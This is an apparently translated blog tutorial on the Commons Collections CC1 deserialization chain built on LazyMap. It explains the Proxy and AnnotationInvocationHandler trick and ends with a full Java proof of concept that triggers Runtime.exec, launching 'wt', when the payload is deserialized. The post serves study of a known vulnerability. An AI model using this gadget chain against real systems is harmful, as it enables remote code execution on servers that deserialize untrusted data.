CC1-LazyMap

Disclaimer:

This article is only for technical discussion and learning. Any direct or indirect consequences and losses caused by the dissemination and use of the information provided by this official account are the responsibility of the user himself. The official account Dragon7 SEC and the author do not bear any responsibility for this. Please bear the responsibility yourself if any consequences occur! If the article infringes, please inform us, we will immediately apologize and delete it.

​ The previous article introduced how to construct the POC of the CC1 utilization chain and the principle of CC1. That chain is based on TransformedMap. With the foundation of the previous article, I believe everyone also has a certain understanding of Java native serialization. We know it, so this article will go straight to the point and talk about another construction method of CC1 application chain (using LazyMap construction). When generating the POC of CC1 in the famous Java deserialization application tool ysoserial, the Gadget Chain is used to trigger the Transform. The class is not TransformedMap but LazyMap, so we cannot avoid learning the specific principles of this chain.

​ First, let’s review the idea of ​​using Transformedmap to construct a CC1 exploit chain.

​ In fact, to put it simply, the AnnotationInvocationHandler class will call the overridden readObject method when deserializing, and the setValue method will be called in the overridden readObject method. From here, we will go to the setValue of the TransformedMap parent class. The method will then call the checkSetValue method to trigger the ChainedTransformer's transform in this method to perform chained transform calls to trigger command execution.
Insert image description here
The transform method is called in the get method in LazyMap. The purpose is to decorate a map (enhance the Map). When the map cannot obtain the value, the transform method is called to obtain a value and return it. This is achieved by Lazy loading.
Insert image description here
The purpose is not our focus. Our purpose is to use it to implement RCE, so we need to look up for the entrance and where the get method is called.

​ The familiar memberValues ​​member in the invoke method of AnnotationInvocationHandler calls the get method.
Insert image description here
But the entrance is clearly in the readObject method, how should we trigger the invoke method?

The author of the ysoserial tool makes use of the java object proxy (java.reflect.Proxy). What is an object proxy? An object proxy can hijack the method when an object calls the method
Insert image description here
Proxy can modify any object. After modification, when calling any method of the object, it will go first The third parameter, InvocationHandler, performs intermediate operations in the invoke method, and finally jumps to the target method of the call (similar to the network proxy, except that it is used for method invocation), that is, a layer of intermediate proxy, InvocationHandler, is used It is an interface. After implementing this interface, you can customize the content of the invoke method to achieve the purpose of hijacking/forwarding. In invoke, you can make some logical judgments and then forward to the target method, similar to a middleman.

​ Next, go back to AnnotationInvocationHandler, you can see that AnnotationInvocationHandler implements InvocationHandler, so AnnotationInvocationHandler can be used as the InvocationHandler parameter of Proxy, use it to proxy a Map, then when the map calls any method, it will go to the Invoke method of AnnotationInvocationHandler.

​ The overall process is to create a Proxy to proxy the Map object, then create an AnnotationInvocationHandle object as the InvocationHander of the Proxy, and set the membersvalue attribute of the AnnotationInvocationHandle object to LazyMap. The Proxy cannot be serialized directly here because the entry point is in the readObject method of AnnotationInvocationHandle, so you need to create another AnnotationInvocationHandle object and use Proxy as the membersvalue attribute. In this way, when you reach the readObject method, you can make any method call on membersvalue. They will all go to the invoke method of the first AnnotationInvocationHandle object. At this time, the members value is LazyMap, that is, they will go to the get method and the transform method of ChainedTransformer to perform chain calls to trigger command execution.
Insert image description here
Flowchart:
Insert image description here
POC:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class LazyMapChains {
    public static void main(String[] args) throws Exception {
        // 创建Transformer列表,创建ChainedTransformer进行链式调用
        Transformer[] TransList = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"wt"})

        };
        Transformer transChain = new ChainedTransformer(TransList);
        Map map = new HashMap();

        //创建LazyMap对象
        Map dangerousMap = LazyMap.decorate(map, transChain);

        //反射获取AnnotationInvocationHandler构造方法创建实例
        Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = annotation.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);

        //创建AnnotationInvocationHandler实例,membersvalue为LazyMap
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, dangerousMap);
        //创建代理,代理Map对象,当调用Map的任意方法时会触发AnnotationInvocationHandler的invoke方法
        Map proxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        //序列化AnnotationInvocationHandler对象此时membersvalue为代理对象,当readObject中调用membersvalue的任意方法时都会触发handler的invoke函数
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxy);

        //序列化
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("a.bin"));
        outputStream.writeObject(handler);
        //反序列化
        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("a.bin"));
        inputStream.readObject();
    }
}

Guess you like

Origin blog.csdn.net/m0_55994898/article/details/134166236
cc